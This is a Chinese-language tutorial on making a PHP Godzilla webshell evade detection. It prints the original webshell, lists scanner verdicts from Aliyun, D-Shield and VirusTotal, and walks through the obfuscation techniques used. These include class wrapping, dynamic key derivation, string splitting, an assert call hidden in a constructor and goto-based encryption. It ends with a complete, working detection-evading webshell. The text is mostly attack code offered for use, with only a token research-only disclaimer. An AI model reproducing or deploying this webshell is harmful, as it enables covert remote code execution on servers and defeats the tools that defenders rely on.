webshell免杀-提升兼容性
字数 1259 2025-08-27 12:33:31

PHP Webshell免杀技术:提升兼容性与混淆方法详解

一、前言

本文基于先知社区文章《webshell免杀-提升兼容性》整理,详细讲解PHP Webshell免杀技术,特别是针对不同PHP版本的兼容性提升方法。文章测试环境为phpstudy2018,覆盖PHP5.2至PHP7.4版本,并通过阿里云、D盾、百度Webshell检测等安全产品的检测。

二、测试环境与检测工具

  • 测试环境:phpstudy2018,PHP5.2-PHP7.4
  • 检测工具
    • 阿里云Webshell检测:https://ti.aliyun.com/#/webshell
    • D盾:https://www.d99net.net/
    • 百度Webshell检测:https://scanner.baidu.com/#/pages/intro
    • VirusTotal:https://www.virustotal.com/gui/home/upload

三、原始Webshell分析

1. 哥斯拉Webshell原始代码

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D, $K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass = 'admin';
$payloadName = 'payload';
$key = '0192023a7bbd7325';
if(isset($_POST[$pass])){
    $data = encode(base64_decode($_POST[$pass]),$key);
    if(isset($_SESSION[$payloadName])){
        $payload = encode($_SESSION[$payloadName],$key);
        if(strpos($payload,"getBasicsInfo")===false){
            $payload = encode($payload,$key);
        }
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if(strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName] = encode($data,$key);
        }
    }
}

2. 原始代码检测结果

  • 阿里云:恶意
  • D盾:4级风险
  • 长亭:Webshell检测成功
  • 百度:0/1未检测出来
  • VirusTotal:4/57
  • 河马:恶意

四、免杀技术详解

1. 函数重构与类封装

将encode函数改为类方法,并修改变量名:

class aly{
    public function yh($xc,$app) {
        for($a=0;$a<strlen($xc);$a++) {
            $m = $app[$a+1&15];
            $xc[$a] = $xc[$a]^$m;
        }
        $bc=md5($xc); // 混淆WAF
        return $xc;
    }
}

调用方式改为:

$app = new aly;
$data=$app->yh();

2. 密钥动态生成

将硬编码的密钥改为动态生成:

$key=substr(md5('admin123'),0,16);

3. 变量名混淆技术

  • 使用字符串拼接:
$p.'load'; ($p='pay')
$cmd='getBas'.'icsInfo';
  • 通过base64加密解密获取变量
  • 修改变量传递方式,增加中间变量:
$uu=$payl; // 关键免杀点

4. PHP版本兼容方法

方法一:通用方法(PHP5.2-PHP7.4)

增加变量传递中间层,如$uu=$payl;

方法二:strrev()函数混淆(PHP7.0.9特定)

// 使用strrev()函数混淆assert或eval

方法三:GET传递方式(PHP5.2-PHP7.0.9)

改为使用$_GET而非$_POST

5. 代码加密

推荐使用在线加密工具:http://122.114.170.182/

加密后代码示例:

<?php /* Encode by www.phpen.cn */ goto IUNnc;
XwEH4: $app = new aly(); goto nsf5Z;
LL5W7: print substr(md5($pass.substr(md5("\x61\144\155\151\x6e\61\62\63"),0,16)),16); goto CL6YJ;
// ... 加密后的goto混淆代码 ...

五、完整免杀Webshell代码

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
class aly{
    public function yh($xc,$app){
        for($a=0;$a<strlen($xc);$a++){
            $m = $app[$a+1&15];
            $xc[$a] = $xc[$a]^$m;
        }
        $bc=md5($xc);
        return $xc;
    }
}
$cmd='getBas'.'icsInfo';
$pass='admin';
$p='pay';
$key=substr(md5('admin123'),0,16);
$kk=$p.'load';
if(isset($_POST[$pass])){
    $app=new aly;
    $data=$app->yh(base64_decode($_POST[$pass]),substr(md5('admin123'),0,16));
    if(isset($_SESSION[$kk])){
        $xx=$app->yh($_SESSION[$kk],substr(md5('admin123'),0,16));
        $payl=$xx;
        if(strpos($payl,$cmd)===0){
            $payl=$app->yh($payl,substr(md5('admin123'),0,16));
        }
        $uu=$payl;
        class MOL{
            public function __construct($p){
                $qq=null;
                $dd=null;
                assert($qq./* xxx */$p./* ssss */$dd);
            }
        }
        @new MOL($uu);
        print substr(md5($pass.substr(md5('admin123'),0,16)),0,16);
        print base64_encode($app->yh(@run($data),substr(md5('admin123'),0,16)));
        print substr(md5($pass.substr(md5('admin123'),0,16)),16);
    }else{
        if(strpos($data,$cmd)!==0){
            $_SESSION[$kk]=$app->yh($data,substr(md5('admin123'),0,16));
        }
    }
}

六、关键免杀原理

  1. WAF检测机制分析

    • WAF主要关注asserteval$_POST$_GET$_COOKIE等敏感函数和变量
    • 通过特征码匹配识别已知Webshell
    • 不过度严格检测以避免误报正常代码
  2. 免杀核心思路

    • 混淆变量名和函数名
    • 增加中间变量层打破特征匹配
    • 使用类封装敏感操作
    • 动态生成关键参数
    • 代码加密混淆

七、注意事项

  1. 不是修改越多越好,过度修改可能适得其反
  2. 不同PHP版本可能需要不同的免杀方法
  3. 建议对加密后的代码进行实际连接测试
  4. 对于高级用户,可以考虑直接修改哥斯拉Java源码实现更深层次的免杀

八、总结

本文详细介绍了PHP Webshell的免杀技术,特别是针对不同PHP版本的兼容性解决方案。通过函数重构、类封装、变量混淆、代码加密等多种技术组合,可以有效绕过主流安全产品的检测。需要注意的是,这些技术仅用于安全研究,请勿用于非法用途。

PHP Webshell免杀技术:提升兼容性与混淆方法详解 一、前言 本文基于先知社区文章《webshell免杀-提升兼容性》整理,详细讲解PHP Webshell免杀技术,特别是针对不同PHP版本的兼容性提升方法。文章测试环境为phpstudy2018,覆盖PHP5.2至PHP7.4版本,并通过阿里云、D盾、百度Webshell检测等安全产品的检测。 二、测试环境与检测工具 测试环境 :phpstudy2018,PHP5.2-PHP7.4 检测工具 : 阿里云Webshell检测:https://ti.aliyun.com/#/webshell D盾:https://www.d99net.net/ 百度Webshell检测:https://scanner.baidu.com/#/pages/intro VirusTotal:https://www.virustotal.com/gui/home/upload 三、原始Webshell分析 1. 哥斯拉Webshell原始代码 2. 原始代码检测结果 阿里云:恶意 D盾:4级风险 长亭:Webshell检测成功 百度:0/1未检测出来 VirusTotal:4/57 河马:恶意 四、免杀技术详解 1. 函数重构与类封装 将encode函数改为类方法,并修改变量名: 调用方式改为: 2. 密钥动态生成 将硬编码的密钥改为动态生成: 3. 变量名混淆技术 使用字符串拼接: 通过base64加密解密获取变量 修改变量传递方式,增加中间变量: 4. PHP版本兼容方法 方法一:通用方法(PHP5.2-PHP7.4) 增加变量传递中间层,如 $uu=$payl; 方法二:strrev()函数混淆(PHP7.0.9特定) 方法三:GET传递方式(PHP5.2-PHP7.0.9) 改为使用 $_GET 而非 $_POST 5. 代码加密 推荐使用在线加密工具:http://122.114.170.182/ 加密后代码示例: 五、完整免杀Webshell代码 六、关键免杀原理 WAF检测机制分析 : WAF主要关注 assert 、 eval 、 $_POST 、 $_GET 、 $_COOKIE 等敏感函数和变量 通过特征码匹配识别已知Webshell 不过度严格检测以避免误报正常代码 免杀核心思路 : 混淆变量名和函数名 增加中间变量层打破特征匹配 使用类封装敏感操作 动态生成关键参数 代码加密混淆 七、注意事项 不是修改越多越好,过度修改可能适得其反 不同PHP版本可能需要不同的免杀方法 建议对加密后的代码进行实际连接测试 对于高级用户,可以考虑直接修改哥斯拉Java源码实现更深层次的免杀 八、总结 本文详细介绍了PHP Webshell的免杀技术,特别是针对不同PHP版本的兼容性解决方案。通过函数重构、类封装、变量混淆、代码加密等多种技术组合,可以有效绕过主流安全产品的检测。需要注意的是,这些技术仅用于安全研究,请勿用于非法用途。